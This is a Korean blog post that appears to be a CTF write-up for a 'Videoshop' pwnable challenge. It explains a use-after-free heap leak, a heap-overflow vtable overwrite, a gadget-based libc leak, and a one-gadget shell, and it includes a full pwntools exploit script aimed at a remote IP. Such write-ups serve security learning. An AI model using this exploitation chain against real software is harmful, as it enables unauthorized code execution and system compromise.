github twitter facebook email
Videoshop
Sep 21, 2018
2 minutes read

binary 전에 올려도 된다고 들었던거 같아서 일단 올려놓고 문제가 되면 내리도록 하겠습니다..

문제를 보면 UAF와 Heap overflow가 가능하다. cpp기반으로 객체를 힙에 올려둠으로 Heap overflow를 잘 사용하면 vtable을 덮어서 원하는 함수의 호출이 가능해진다.

모든 입력 마지막에 NULL이 붙게되어 정상적으로 leak이 불가능하다.

따라서 UAF를 이용해서 릭을 따주면 되는데, Name을 지정할때, string을 이용해서 함으로, 힙부분에 할당되었다가 지워지게 된다.

이를 이용하면 영화가 생성될 부분에 미리 AAAA같은 값을 써 넣을 수 있고, 이후 이부분에 영화를 생성하고 출력하게 되면 AAAA에 딸려서 heapbase를 얻어낼 수 있다.

하지만 문제는 libc leak이였다. 이부분은 진짜 아무리 생각해도 이 방법으로는 딸수가 없었던거 같다.

그래서 heapbase를 leak했으니 vtable을 덮어서 arbitrary function call이 가능했다. 이를 이용해서

0x0000000000401164 : add eax, 0x2032a6 ; add ebx, esi ; ret

아직도 내가 해놓고서도 안믿기지만 이런 가젯을 썼다. 이거 쓰면 this포인터였나? 그게 rax에 있고, 원래는 계산해서 rax에는 director의 주소가 있어야 하는데,

저걸로 꼬아버리면 거짓말같이 NULL을 제외한 libc 상위 4바이트를 얻어낼 수 있고, 그러면 libcbase의 계산이 가능해진다.

libcleak까지 되었음으로, 간단히 쉘을 얻어낼 수 있다.

from pwn import *

def add(series):
    p.recvuntil(":\n")
    p.sendline('1')
    p.recvuntil(":\n")
    p.sendline(str(series))

def setVideo(idx, name, date, dircet):
    p.recvuntil(":\n")
    p.sendline('5')
    p.recvuntil(":\n")
    p.sendline(str(idx))
    p.recvuntil(":\n")
    p.sendline(name)
    p.recvuntil(":\n")
    p.sendline(date)
    p.recvuntil(":\n")
    p.sendline(dircet)

def setName(name):
    p.recvuntil(":\n")
    p.sendline('6')
    p.recvuntil("?\n")
    p.sendline(name)

def delete():
    p.recvuntil(":\n")
    p.sendline('3')

def view():
    p.recvuntil(":\n")
    p.sendline('4')

def direct(idx):
    p.recvuntil(":\n")
    p.sendline('2')
    p.recvuntil(":\n")
    p.sendline(str(idx))

if __name__ == "__main__":
    p = remote('52.79.207.197', 9898)# process('./videoshop')

    context.log_level='debug'
    p.recvuntil(":\n")
    p.sendline('1')
    p.sendline('')
    p.sendline('')
    p.recvuntil(":\n")
    p.sendline(str(1))

    delete()
    setName("A"*40)
    add(1)
    view()
    p.recvuntil("AAAAAAAAAAAAAAAAAAAAAA")
    leak = u64(p.recv(3).ljust(8,'\x00'))
    log.info("Heap : 0x%x" % leak)
    heapbase = leak - 0x11c78
    log.info("Heapbase : 0x%x" % heapbase)
    delete()
    add(1)
    add(2)
    setName("A"*128)
    setVideo(2, "c2w2m2",'aaaa','b'*4 + p64(0x0000000000401164)*4)
    setVideo(1, "A"*32 + p64(leak) + p64(0)*9 + p64(0) + p64(leak + 0x68), "B"*4, "C"*4)
    direct(2)
    leak = u64(p.recv(4).ljust(8,'\x00')) << 16
    log.info("Leak : 0x%x" % leak)
    libcbase = leak - 0x3be000
    setVideo(2, "c2w2m2",'aaaa','b'*4 + p64(libcbase + 0x4526a)*4)
    p.interactive()

대회 도중에는 libc leak을 도저히 못해서 못풀었는데, 대회가 끝나고 좀 쉬고나서 보니까 저런식이라도 릭을 땄다..

원래는 heap overflow로 vtable이 아니라 ptr을 덮어서 arbitrary read, write를 이용해서 푸는거 같다..ㅠㅠ

대회 중간에 너무 vtable에 시야가 좁혀져서 못보고 지나간 부분이 많은거 같다ㅠ..


Back to posts


comments powered by Disqus